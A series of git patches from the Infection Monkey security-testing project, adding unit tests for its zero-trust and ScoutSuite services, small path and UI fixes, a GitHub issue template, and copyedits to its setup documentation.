monkey_island.cc.services.zero_trust.zero_trust_report.principle_service import PrincipleService +from monkey_island.cc.test_common.fixtures import FixtureEnum + + +EXPECTED_DICT = { + 'test_pillar1': [ + { + "principle": 'Test principle description2', + "status": zero_trust_consts.STATUS_FAILED, + "tests": [ + { + "status": zero_trust_consts.STATUS_PASSED, + "test": "You ran a test2" + }, + { + "status": zero_trust_consts.STATUS_FAILED, + "test": "You ran a test3" + } + ] + } + ], + 'test_pillar2': [ + { + "principle": "Test principle description", + "status": zero_trust_consts.STATUS_PASSED, + "tests": [ + { + "status": zero_trust_consts.STATUS_PASSED, + "test": "You ran a test1" + } + ] + }, + { + "principle": "Test principle description2", + "status": zero_trust_consts.STATUS_FAILED, + "tests": [ + { + "status": zero_trust_consts.STATUS_PASSED, + "test": "You ran a test2" + }, + { + "status": zero_trust_consts.STATUS_FAILED, + "test": "You ran a test3" + }, + ] + } + ] +} + + +@pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) +def test_get_principles_status(): + TEST_PILLAR1 = 'test_pillar1' + TEST_PILLAR2 = 'test_pillar2' + zero_trust_consts.PILLARS = (TEST_PILLAR1, TEST_PILLAR2) + + principles_to_tests = {'network_policies': ['segmentation'], + 'endpoint_security': ['tunneling', 'scoutsuite_service_security']} + zero_trust_consts.PRINCIPLES_TO_TESTS = principles_to_tests + + principles_to_pillars = {'network_policies': {'test_pillar2'}, + 'endpoint_security': {'test_pillar1', 'test_pillar2'}} + zero_trust_consts.PRINCIPLES_TO_PILLARS = principles_to_pillars + + principles = {'network_policies': 'Test principle description', 'endpoint_security': 'Test principle description2'} + zero_trust_consts.PRINCIPLES = principles + + tests_map = {'segmentation': {'explanation': 'You ran a test1'}, + 'tunneling': {'explanation': 'You ran a test2'}, + 'scoutsuite_service_security': {'explanation': 'You ran a test3'}} + zero_trust_consts.TESTS_MAP = tests_map + + monkey_finding = get_monkey_finding_dto() + monkey_finding.test = 'segmentation' + monkey_finding.save() + + monkey_finding = get_monkey_finding_dto() + monkey_finding.test = 'tunneling' + monkey_finding.save() + + scoutsuite_finding = get_scoutsuite_finding_dto() + scoutsuite_finding.test = 'scoutsuite_service_security' + scoutsuite_finding.save() + + expected = dict(EXPECTED_DICT) # new mutable + + result = PrincipleService.get_principles_status() + + assert result == expected From 6fac75edb6d94fa62a67dfdae4f6b3da48d1c24c Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 27 Jan 2021 11:33:05 +0200 Subject: [PATCH 163/466] Implemented more unit tests for scoutsuite --- .../scoutsuite_zt_finding_service.py | 4 +- .../test_scoutsuite_auth_service.py | 32 +++++++++++ .../test_scoutsuite_rule_service.py | 54 +++++++++++++++++++ 3 files changed, 88 insertions(+), 2 deletions(-) create mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py create mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_zt_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_zt_finding_service.py index dd467741a..24740840f 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_zt_finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_zt_finding_service.py @@ -16,12 +16,12 @@ class ScoutSuiteZTFindingService: assert (len(existing_findings) < 2), "More than one finding exists for {}".format(finding.test) if len(existing_findings) == 0: - ScoutSuiteZTFindingService.create_new_finding_from_rule(finding, rule) + ScoutSuiteZTFindingService._create_new_finding_from_rule(finding, rule) else: ScoutSuiteZTFindingService.add_rule(existing_findings[0], rule) @staticmethod - def create_new_finding_from_rule(finding: ScoutSuiteFinding, rule: ScoutSuiteRule): + def _create_new_finding_from_rule(finding: ScoutSuiteFinding, rule: ScoutSuiteRule): details = ScoutSuiteFindingDetails() details.scoutsuite_rules = [rule] details.save() diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py new file mode 100644 index 000000000..322af5af6 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py @@ -0,0 +1,32 @@ +from unittest.mock import MagicMock + +import pytest +import dpath.util + +from monkey_island.cc.database import mongo +from monkey_island.cc.server_utils import encryptor +from monkey_island.cc.services.config import ConfigService +from monkey_island.cc.services.config_schema.config_value_paths import AWS_KEYS_PATH +from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_auth_service import is_aws_keys_setup +from monkey_island.cc.test_common.fixtures import FixtureEnum + + +class MockObject: + pass + +@pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) +def test_is_aws_keys_setup(): + # Mock default configuration + ConfigService.init_default_config() + mongo.db = MockObject() + mongo.db.config = MockObject() + ConfigService.encrypt_config(ConfigService.default_config) + mongo.db.config.find_one = MagicMock(return_value=ConfigService.default_config) + assert not is_aws_keys_setup() + + # Make sure noone changed config path and broke this function + bogus_key_value = encryptor.encryptor.enc('bogus_aws_key') + dpath.util.set(ConfigService.default_config, AWS_KEYS_PATH+['aws_secret_access_key'], bogus_key_value) + dpath.util.set(ConfigService.default_config, AWS_KEYS_PATH+['aws_access_key_id'], bogus_key_value) + + assert is_aws_keys_setup() diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py new file mode 100644 index 000000000..e08c8a290 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py @@ -0,0 +1,54 @@ +from copy import deepcopy + +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_consts import RULE_LEVEL_WARNING, RULE_LEVEL_DANGER +from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_rule_service import ScoutSuiteRuleService +from monkey_island.cc.services.zero_trust.test_common.scoutsuite_finding_data import RULES + +example_scoutsuite_data = { + 'checked_items': 179, + 'compliance': None, + 'dashboard_name': 'Rules', + 'description': 'Security Group Opens All Ports to All', + 'flagged_items': 2, + 'items': [ + 'ec2.regions.eu-central-1.vpcs.vpc-0ee259b1a13c50229.security_groups.sg-035779fe5c293fc72' + '.rules.ingress.protocols.ALL.ports.1-65535.cidrs.2.CIDR', + 'ec2.regions.eu-central-1.vpcs.vpc-00015526b6695f9aa.security_groups.sg-019eb67135ec81e65' + '.rules.ingress.protocols.ALL.ports.1-65535.cidrs.0.CIDR' + ], + 'level': 'danger', + 'path': 'ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id.cidrs.id.CIDR', + 'rationale': 'It was detected that all ports in the security group are open, and any source IP address' + ' could send traffic to these ports, which creates a wider attack surface for resources ' + 'assigned to it. Open ports should be reduced to the minimum needed to correctly', + 'references': [], + 'remediation': None, + 'service': 'EC2' +} + + +def test_get_rule_from_rule_data(): + assert ScoutSuiteRuleService.get_rule_from_rule_data(example_scoutsuite_data) == RULES[0] + + +def test_is_rule_dangerous(): + test_rule = deepcopy(RULES[0]) + assert ScoutSuiteRuleService.is_rule_dangerous(test_rule) + + test_rule.level = RULE_LEVEL_WARNING + assert not ScoutSuiteRuleService.is_rule_dangerous(test_rule) + + test_rule.level = RULE_LEVEL_DANGER + test_rule.items = [] + assert not ScoutSuiteRuleService.is_rule_dangerous(test_rule) + + +def test_is_rule_warning(): + test_rule = deepcopy(RULES[0]) + assert not ScoutSuiteRuleService.is_rule_warning(test_rule) + + test_rule.level = RULE_LEVEL_WARNING + assert ScoutSuiteRuleService.is_rule_warning(test_rule) + + test_rule.items = [] + assert not ScoutSuiteRuleService.is_rule_warning(test_rule) From bde2288da02ee6d978611c0da2b7e972fc76bb70 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 27 Jan 2021 12:23:39 +0200 Subject: [PATCH 164/466] Minor fixes: Removed debugging log and improved readability in PBA path const --- monkey/monkey_island/cc/resources/pba_file_upload.py | 1 - monkey/monkey_island/cc/services/post_breach_files.py | 5 +++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/resources/pba_file_upload.py b/monkey/monkey_island/cc/resources/pba_file_upload.py index fc3a6f6c8..5f75eaaa1 100644 --- a/monkey/monkey_island/cc/resources/pba_file_upload.py +++ b/monkey/monkey_island/cc/resources/pba_file_upload.py @@ -39,7 +39,6 @@ class FileUpload(flask_restful.Resource): filename = ConfigService.get_config_value(copy.deepcopy(PBA_LINUX_FILENAME_PATH)) else: filename = ConfigService.get_config_value(copy.deepcopy(PBA_WINDOWS_FILENAME_PATH)) - LOG.info(f"Current dir:{os.getcwd()}") return send_from_directory(ABS_UPLOAD_PATH, filename) @jwt_required diff --git a/monkey/monkey_island/cc/services/post_breach_files.py b/monkey/monkey_island/cc/services/post_breach_files.py index 49c38e076..2bb310e14 100644 --- a/monkey/monkey_island/cc/services/post_breach_files.py +++ b/monkey/monkey_island/cc/services/post_breach_files.py @@ -6,6 +6,8 @@ import monkey_island.cc.services.config __author__ = "VakarisZ" +from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH + logger = logging.getLogger(__name__) # Where to find file names in config @@ -14,8 +16,7 @@ PBA_LINUX_FILENAME_PATH = ['monkey', 'post_breach', 'PBA_linux_filename'] UPLOADS_DIR_NAME = 'userUploads' -_PBA_UPLOAD_PATH = [os.getcwd(), 'monkey_island', 'cc', UPLOADS_DIR_NAME] -ABS_UPLOAD_PATH = Path(*_PBA_UPLOAD_PATH) +ABS_UPLOAD_PATH = Path(MONKEY_ISLAND_ABS_PATH, 'cc', UPLOADS_DIR_NAME) def remove_PBA_files(): From 67196201834396974f4565b46e63a77b11888b5d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 20 Jan 2021 10:47:11 -0500 Subject: [PATCH 165/466] ui: fix centering of guardicore logo Fixes #612 --- monkey/monkey_island/cc/ui/src/styles/App.css | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/styles/App.css b/monkey/monkey_island/cc/ui/src/styles/App.css index 8e2d71cbe..45a4460e6 100644 --- a/monkey/monkey_island/cc/ui/src/styles/App.css +++ b/monkey/monkey_island/cc/ui/src/styles/App.css @@ -113,12 +113,15 @@ body { .guardicore-link span { color: #999; vertical-align: middle; + padding-left: 4px; + padding-right: 4px; font-size: 1.7em; } .guardicore-link img { height: 38px; - margin-left: 8px; + padding-left: 4px; + padding-right: 4px; vertical-align: middle; } } From d0404cbeae083b7fab07b211d273be4c788d5da4 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 27 Jan 2021 16:58:05 +0200 Subject: [PATCH 166/466] Removed scoutsuite from requirements, because it's imported as a subpackage --- monkey/common/cloud/scoutsuite | 2 +- monkey/infection_monkey/requirements.txt | 1 - 2 files changed, 1 insertion(+), 2 deletions(-) diff --git a/monkey/common/cloud/scoutsuite b/monkey/common/cloud/scoutsuite index b27a719de..e5dd01dab 160000 --- a/monkey/common/cloud/scoutsuite +++ b/monkey/common/cloud/scoutsuite @@ -1 +1 @@ -Subproject commit b27a719de18b47eacbeccd81627fc28114d09297 +Subproject commit e5dd01dab08ed8d887736cfcee068c1b8895d4a1 diff --git a/monkey/infection_monkey/requirements.txt b/monkey/infection_monkey/requirements.txt index 8df4c7403..c9633b555 100644 --- a/monkey/infection_monkey/requirements.txt +++ b/monkey/infection_monkey/requirements.txt @@ -14,4 +14,3 @@ pymssql<3.0 pypykatz==0.3.12 requests>=2.24 wmi==1.5.1 ; sys_platform == 'win32' -ScoutSuite From 6c200c88d61f21a8452b9d707d771596c447450e Mon Sep 17 00:00:00 2001 From: msal-guardicore <75855667+msal-guardicore@users.noreply.github.com> Date: Wed, 27 Jan 2021 10:46:54 -0500 Subject: [PATCH 167/466] Add spike issue template --- .github/ISSUE_TEMPLATE/spike.md | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) create mode 100644 .github/ISSUE_TEMPLATE/spike.md diff --git a/.github/ISSUE_TEMPLATE/spike.md b/.github/ISSUE_TEMPLATE/spike.md new file mode 100644 index 000000000..5197e49f3 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/spike.md @@ -0,0 +1,19 @@ +--- +name: Spike +about: Create a spike. +title: '' +labels: Spike +assignees: '' + +--- + +# Spike + +## Objective +_A description of this spike's objective._ + +## Scope +_Add an explanation of how this spike is bounded (e.g. time-boxed or a checklist of tasks or questions that must be answered)._ + +## Output +_Add a description or list of expected outputs that result from successful completion of this spike. Some examples of outputs are more GitHb issues (e.g. bugs), a trade study, or a report detailing what was learned during the spike._ From 7f067ba239ea91da897bbb16ac91c05043716642 Mon Sep 17 00:00:00 2001 From: msal-guardicore <75855667+msal-guardicore@users.noreply.github.com> Date: Wed, 27 Jan 2021 10:54:15 -0500 Subject: [PATCH 168/466] add icon to Spike issue type --- .github/ISSUE_TEMPLATE/-spike.md | 19 +++++++++++++++++++ .github/ISSUE_TEMPLATE/-u000023f3-spike.md | 19 +++++++++++++++++++ 2 files changed, 38 insertions(+) create mode 100644 .github/ISSUE_TEMPLATE/-spike.md create mode 100644 .github/ISSUE_TEMPLATE/-u000023f3-spike.md diff --git a/.github/ISSUE_TEMPLATE/-spike.md b/.github/ISSUE_TEMPLATE/-spike.md new file mode 100644 index 000000000..1060ccef8 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/-spike.md @@ -0,0 +1,19 @@ +--- +name: "βŒ›Spike" +about: Create a spike. +title: '' +labels: Spike +assignees: '' + +--- + +# Spike + +## Objective +_A description of this spike's objective._ + +## Scope +_Add an explanation of how this spike is bounded (e.g. time-boxed or a checklist of tasks or questions that must be answered)._ + +## Output +_Add a description or list of expected outputs that result from successful completion of this spike. Some examples of outputs are more GitHb issues (e.g. bugs), a trade study, or a report detailing what was learned during the spike._ diff --git a/.github/ISSUE_TEMPLATE/-u000023f3-spike.md b/.github/ISSUE_TEMPLATE/-u000023f3-spike.md new file mode 100644 index 000000000..23c9550e6 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/-u000023f3-spike.md @@ -0,0 +1,19 @@ +--- +name: "\\U000023F3 Spike" +about: Create a spike. +title: '' +labels: Spike +assignees: '' + +--- + +# Spike + +## Objective +_A description of this spike's objective._ + +## Scope +_Add an explanation of how this spike is bounded (e.g. time-boxed or a checklist of tasks or questions that must be answered)._ + +## Output +_Add a description or list of expected outputs that result from successful completion of this spike. Some examples of outputs are more GitHb issues (e.g. bugs), a trade study, or a report detailing what was learned during the spike._ From 12b7a34fec27be7969ba2f92d675fdd694452214 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 27 Jan 2021 10:59:11 -0500 Subject: [PATCH 169/466] remove duplicate spike issue templates --- .github/ISSUE_TEMPLATE/-spike.md | 19 ------------------- .github/ISSUE_TEMPLATE/-u000023f3-spike.md | 19 ------------------- .github/ISSUE_TEMPLATE/spike.md | 2 +- 3 files changed, 1 insertion(+), 39 deletions(-) delete mode 100644 .github/ISSUE_TEMPLATE/-spike.md delete mode 100644 .github/ISSUE_TEMPLATE/-u000023f3-spike.md diff --git a/.github/ISSUE_TEMPLATE/-spike.md b/.github/ISSUE_TEMPLATE/-spike.md deleted file mode 100644 index 1060ccef8..000000000 --- a/.github/ISSUE_TEMPLATE/-spike.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -name: "βŒ›Spike" -about: Create a spike. -title: '' -labels: Spike -assignees: '' - ---- - -# Spike - -## Objective -_A description of this spike's objective._ - -## Scope -_Add an explanation of how this spike is bounded (e.g. time-boxed or a checklist of tasks or questions that must be answered)._ - -## Output -_Add a description or list of expected outputs that result from successful completion of this spike. Some examples of outputs are more GitHb issues (e.g. bugs), a trade study, or a report detailing what was learned during the spike._ diff --git a/.github/ISSUE_TEMPLATE/-u000023f3-spike.md b/.github/ISSUE_TEMPLATE/-u000023f3-spike.md deleted file mode 100644 index 23c9550e6..000000000 --- a/.github/ISSUE_TEMPLATE/-u000023f3-spike.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -name: "\\U000023F3 Spike" -about: Create a spike. -title: '' -labels: Spike -assignees: '' - ---- - -# Spike - -## Objective -_A description of this spike's objective._ - -## Scope -_Add an explanation of how this spike is bounded (e.g. time-boxed or a checklist of tasks or questions that must be answered)._ - -## Output -_Add a description or list of expected outputs that result from successful completion of this spike. Some examples of outputs are more GitHb issues (e.g. bugs), a trade study, or a report detailing what was learned during the spike._ diff --git a/.github/ISSUE_TEMPLATE/spike.md b/.github/ISSUE_TEMPLATE/spike.md index 5197e49f3..1060ccef8 100644 --- a/.github/ISSUE_TEMPLATE/spike.md +++ b/.github/ISSUE_TEMPLATE/spike.md @@ -1,5 +1,5 @@ --- -name: Spike +name: "βŒ›Spike" about: Create a spike. title: '' labels: Spike From 7c191a785f82ad6de4fecd94e698af9b1ec747b6 Mon Sep 17 00:00:00 2001 From: MarketingYeti <77474444+MarketingYeti@users.noreply.github.com> Date: Fri, 22 Jan 2021 08:41:51 -0500 Subject: [PATCH 170/466] Update _index.md copyediting --- docs/content/setup/_index.md | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/docs/content/setup/_index.md b/docs/content/setup/_index.md index bc114f2e4..4afb141d1 100644 --- a/docs/content/setup/_index.md +++ b/docs/content/setup/_index.md @@ -9,18 +9,18 @@ tags = ["setup"] # Setting up Infection Monkey -Setting up Infection Monkey is really easy! First, you need to {{% button href="https://infectionmonkey.com/" icon="fas fa-download" %}}download the Infection Monkey from our site{{% /button %}}. +Setting up the Infection Monkey is easy! First, you need to: {{% button href="https://infectionmonkey.com/" icon="fas fa-download" %}}Download the Infection Monkey{{% /button %}}. -Once you've downloaded an installer, you can follow the relevant guide for your environment: +Once you've downloaded an installer, follow the relevant guide for your environment: {{% children %}} -Once you're done setting the Monkey up, check out our [Getting Started](../usage/getting-started) guide! +After setting the Monkey up, check out our [Getting Started](../usage/getting-started) guide! {{% notice tip %}} You can find information about [operating system compatibility and support here](../reference/operating_systems_support). {{% /notice %}} {{% notice tip %}} -You can find the binary checksums of our installers to verify their integrity [in this page](../usage/file-checksums). -{{% /notice %}} \ No newline at end of file +You can find the binary checksums of our installers to verify their integrity [on this page](../usage/file-checksums). +{{% /notice %}} From e154bb9a0f3f671270d9906241f8158f03655d4e Mon Sep 17 00:00:00 2001 From: MarketingYeti <77474444+MarketingYeti@users.noreply.github.com> Date: Tue, 26 Jan 2021 12:36:58 -0500 Subject: [PATCH 171/466] Update _index.md --- docs/content/setup/_index.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/content/setup/_index.md b/docs/content/setup/_index.md index 4afb141d1..0e5d38690 100644 --- a/docs/content/setup/_index.md +++ b/docs/content/setup/_index.md @@ -9,7 +9,7 @@ tags = ["setup"] # Setting up Infection Monkey -Setting up the Infection Monkey is easy! First, you need to: {{% button href="https://infectionmonkey.com/" icon="fas fa-download" %}}Download the Infection Monkey{{% /button %}}. +Setting up the Infection Monkey is easy! First, you need to {{% button href="https://infectionmonkey.com/" icon="fas fa-download" %}}Download the Infection Monkey{{% /button %}}. Once you've downloaded an installer, follow the relevant guide for your environment: From e556959a045ca7e348dc9a4ee975bd1ab93bf778 Mon Sep 17 00:00:00 2001 From: MarketingYeti <77474444+MarketingYeti@users.noreply.github.com> Date: Fri, 22 Jan 2021 08:55:24 -0500 Subject: [PATCH 172/466] Update accounts-and-security.md copyediting --- docs/content/setup/accounts-and-security.md | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/docs/content/setup/accounts-and-security.md b/docs/content/setup/accounts-and-security.md index 574b07c3c..2e12f1d49 100644 --- a/docs/content/setup/accounts-and-security.md +++ b/docs/content/setup/accounts-and-security.md @@ -7,15 +7,15 @@ pre: " " tags: ["usage", "password"] --- -## Security in Infection Monkey +## Security in the Infection Monkey -The first time you launch Monkey Island (Infection Monkey CC server), you'll be prompted to create an account and secure your island. After your account is created, the server will only be accessible via the credentials you chose. +The first time you launch Monkey Island (the Infection Monkey CC server), you'll be prompted to create an account and secure your island. After account creation, the server will only be accessible via the credentials you entered. -If you want island to be accessible without credentials press *I want anyone to access the island*. Please note that this option is insecure: you should only pick this for use in development environments. +If you want an island to be accessible without credentials, press *I want anyone to access the island*. Please note that this option is insecure, and you should only use it in development environments. -## Resetting account credentials +## Resetting your account credentials -To reset credentials edit `monkey_island\cc\server_config.json` by deleting `user` and `password_hash` variables. Then restart the Monkey Island server and you should be prompted with registration form again. +To reset your credentials, edit `monkey_island\cc\server_config.json` by deleting the `user` and `password_hash` variables. Then restart the Monkey Island server, and you should be prompted with a registration form again. Example `server_config.json` for account reset: From fb02ae436de3586d9f141ae81e7f4c3e9da85084 Mon Sep 17 00:00:00 2001 From: MarketingYeti <77474444+MarketingYeti@users.noreply.github.com> Date: Tue, 26 Jan 2021 12:42:11 -0500 Subject: [PATCH 173/466] Update accounts-and-security.md --- docs/content/setup/accounts-and-security.md | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/docs/content/setup/accounts-and-security.md b/docs/content/setup/accounts-and-security.md index 2e12f1d49..7f15a34c5 100644 --- a/docs/content/setup/accounts-and-security.md +++ b/docs/content/setup/accounts-and-security.md @@ -15,7 +15,9 @@ If you want an island to be accessible without credentials, press *I want anyone ## Resetting your account credentials -To reset your credentials, edit `monkey_island\cc\server_config.json` by deleting the `user` and `password_hash` variables. Then restart the Monkey Island server, and you should be prompted with a registration form again. +To reset your credentials, edit `monkey_island\cc\server_config.json` by deleting the `user` and `password_hash` variables. + +When you restart the Monkey Island server, you will again be prompted with the registration form. Example `server_config.json` for account reset: From 5c2e3ab64bde3afc23cb9ca6c2fcf14dd7a0cd7d Mon Sep 17 00:00:00 2001 From: MarketingYeti <77474444+MarketingYeti@users.noreply.github.com> Date: Fri, 22 Jan 2021 10:14:31 -0500 Subject: [PATCH 174/466] Update aws.md copyedits --- docs/content/setup/aws.md | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/docs/content/setup/aws.md b/docs/content/setup/aws.md index bcbfaeb75..2a93ed921 100644 --- a/docs/content/setup/aws.md +++ b/docs/content/setup/aws.md @@ -12,19 +12,19 @@ tags: ["setup", "aws"] On the [Infection Monkey’s AWS Marketplace page](https://aws.amazon.com/marketplace/pp/GuardiCore-Infection-Monkey/B07B3J7K6D), click **Continue to Subscribe**. 1. Choose the desired region. -1. Choose an EC2 instance type with at least 1GB of RAM for optimal performance or stick with the recommended. -1. Select the VPC and subnet you want the instance to be in. +1. Choose an EC2 instance type with at least 1GB of RAM for optimal performance or stick with the default reccomendation. +1. Select the VPC and subnet you want to use for your instance. 1. In the Security Group section, make sure ports 5000 and 5001 on the machine are accessible for inbound TCP traffic. 1. Choose an existing EC2 key pair for authenticating with your new instance. 1. Click **Launch with 1-click.** At this point, AWS will instance and deploy your new machine. -When ready, you can browse to the Infection Monkey running on your fresh deployment at: +When ready, you can browse to the Infection Monkey running on your fresh deployment at: `https://{public-ip}:5000` -You will be presented a login page. Use the username **monkey**, and the new EC2 instace’s instance ID for password. You can find the instance id by going to the EC2 console and selecting your instance. It should appear in the details pane below. +You will be presented with a login page. Enter the username **monkey**, and the new EC2 instance's **instance ID** for your password. To find your instance ID, go to the EC2 console and select your instance. It should appear in the details pane below. ![AWS instance ID](../../images/setup/aws/aws-instance-id.png "AWS instance ID") @@ -34,6 +34,6 @@ The Monkey has built-in integrations with AWS services for better execution and ## Upgrading -Currently there's no "upgrade-in-place" option when a new version comes out. To get the new version, you can deploy a new machine from the marketplace. If you'd like to keep your existing configuration, you can export it to a file by using the Export button and then import it to the new Monkey Island. +Currently, there's no "upgrade-in-place" option when a new version comes out. To get an updated version, you can deploy a new machine from the marketplace. If you'd like to keep your existing configuration, you can export it to a file using the export button and then import it to the new Monkey Island. ![Export configuration](../../images/setup/export-configuration.png "Export configuration") From b16cf5ae8d30c5c88da64188507b5b21013c6e77 Mon Sep 17 00:00:00 2001 From: MarketingYeti <77474444+MarketingYeti@users.noreply.github.com> Date: Tue, 26 Jan 2021 12:56:36 -0500 Subject: [PATCH 175/466] Update aws.md --- docs/content/setup/aws.md | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/docs/content/setup/aws.md b/docs/content/setup/aws.md index 2a93ed921..eaa364cc8 100644 --- a/docs/content/setup/aws.md +++ b/docs/content/setup/aws.md @@ -12,7 +12,7 @@ tags: ["setup", "aws"] On the [Infection Monkey’s AWS Marketplace page](https://aws.amazon.com/marketplace/pp/GuardiCore-Infection-Monkey/B07B3J7K6D), click **Continue to Subscribe**. 1. Choose the desired region. -1. Choose an EC2 instance type with at least 1GB of RAM for optimal performance or stick with the default reccomendation. +1. Choose an EC2 instance type with at least 1GB of RAM for optimal performance or stick with the default recommendation. 1. Select the VPC and subnet you want to use for your instance. 1. In the Security Group section, make sure ports 5000 and 5001 on the machine are accessible for inbound TCP traffic. 1. Choose an existing EC2 key pair for authenticating with your new instance. @@ -30,10 +30,11 @@ You will be presented with a login page. Enter the username **monkey**, and the ## Integration with AWS services -The Monkey has built-in integrations with AWS services for better execution and reporting. See [Usage -> Integrations](../../usage/integrations) for more details. +The Infection Monkey has built-in integrations with AWS services for better execution and reporting. See [Usage -> Integrations](../../usage/integrations) for more details. ## Upgrading -Currently, there's no "upgrade-in-place" option when a new version comes out. To get an updated version, you can deploy a new machine from the marketplace. If you'd like to keep your existing configuration, you can export it to a file using the export button and then import it to the new Monkey Island. + +Currently, there's no "upgrade-in-place" option when a new version is released. To get an updated version, you can deploy a new machine from the marketplace. If you'd like to keep your existing configuration, you can export it to a file using the *Export config* button and then import it to the new Monkey Island. ![Export configuration](../../images/setup/export-configuration.png "Export configuration") From 9a0785bdc51f15feaa45f35b389bb4b6b50829ae Mon Sep 17 00:00:00 2001 From: MarketingYeti <77474444+MarketingYeti@users.noreply.github.com> Date: Fri, 22 Jan 2021 13:05:31 -0500 Subject: [PATCH 176/466] Update debian.md Copyediting --- docs/content/setup/debian.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/docs/content/setup/debian.md b/docs/content/setup/debian.md index a1d751411..2dd04c1f8 100644 --- a/docs/content/setup/debian.md +++ b/docs/content/setup/debian.md @@ -19,7 +19,7 @@ sudo apt update sudo dpkg -i monkey_island.deb # this might print errors ``` -If at this point, dpkg printed errors that look like this: +If, at this point, you receive dpkg printed errors that look like this: ```sh dpkg: error processing package gc-monkey-island (--install): @@ -28,7 +28,7 @@ Errors were encountered while processing: gc-monkey-island ``` -That just means that not all dependencies were pre-installed on your system. That’s no problem! Just run the following command, which will install all dependencies and then install the Monkey Island: +It just means that not all dependencies were pre-installed on your system. That’s no problem! Just run the following command, which will install all dependencies, and then install the Monkey Island: ```sh sudo apt install -f @@ -38,7 +38,7 @@ sudo apt install -f ### Trying to install on Ubuntu <16.04 -If you’re trying to install the Monkey Island on Ubuntu 16.04 or older, you need to install the dependencies yourself, since Python 3.7 is only installable from the `deadsnakes` PPA. To install the Monkey Island on Ubuntu 16.04, follow the following steps: +If you’re trying to install the Monkey Island on Ubuntu 16.04 or older, you need to install the dependencies yourself, since Python 3.7 is only installable from the `deadsnakes` PPA. To install the Monkey Island on Ubuntu 16.04, follow these steps: ```sh sudo apt update @@ -59,6 +59,6 @@ To check the status of the Monkey Island after the installation, run the followi To upgrade when a new version comes out, download the new Monkey `.deb` file and install it. You should see a message like `Unpacking monkey-island (1.8.2) over (1.8.0)`. After which, the installation should complete successfully. -If you'd like to keep your existing configuration, you can export it to a file by using the Export button and then import it to the new server. +If you'd like to keep your existing configuration, you can export it to a file using the export button and then import it to the new server. ![Export configuration](../../images/setup/export-configuration.png "Export configuration") From 6a944b0fbed0816475c433b9ed5ad2b6f5ebe79c Mon Sep 17 00:00:00 2001 From: MarketingYeti <77474444+MarketingYeti@users.noreply.github.com> Date: Tue, 26 Jan 2021 13:59:37 -0500 Subject: [PATCH 177/466] Update debian.md --- docs/content/setup/debian.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/content/setup/debian.md b/docs/content/setup/debian.md index 2dd04c1f8..118ed05e0 100644 --- a/docs/content/setup/debian.md +++ b/docs/content/setup/debian.md @@ -57,8 +57,8 @@ To check the status of the Monkey Island after the installation, run the followi ## Upgrading -To upgrade when a new version comes out, download the new Monkey `.deb` file and install it. You should see a message like `Unpacking monkey-island (1.8.2) over (1.8.0)`. After which, the installation should complete successfully. +Currently, there's no "upgrade-in-place" option when a new version is released. To get the updated version, download the new `.deb` file and install it. You should see a message like `Unpacking monkey-island (1.8.2) over (1.8.0)`. After which, the installation should complete successfully. -If you'd like to keep your existing configuration, you can export it to a file using the export button and then import it to the new server. +If you'd like to keep your existing configuration, you can export it to a file using the *Export config* button and then import it to the new Monkey Island. ![Export configuration](../../images/setup/export-configuration.png "Export configuration") From 5eb96e34b3108df75a8027ec64ff5053c78453c4 Mon Sep 17 00:00:00 2001 From: MarketingYeti <77474444+MarketingYeti@users.noreply.github.com> Date: Fri, 22 Jan 2021 13:07:43 -0500 Subject: [PATCH 178/466] Update docker.md copyediting --- docs/content/setup/docker.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/content/setup/docker.md b/docs/content/setup/docker.md index 4a07293b8..ba613d57b 100644 --- a/docs/content/setup/docker.md +++ b/docs/content/setup/docker.md @@ -25,6 +25,6 @@ sudo docker run --name monkey-island --network=host -d guardicore/monkey-island: There's no "upgrade-in-place" option for 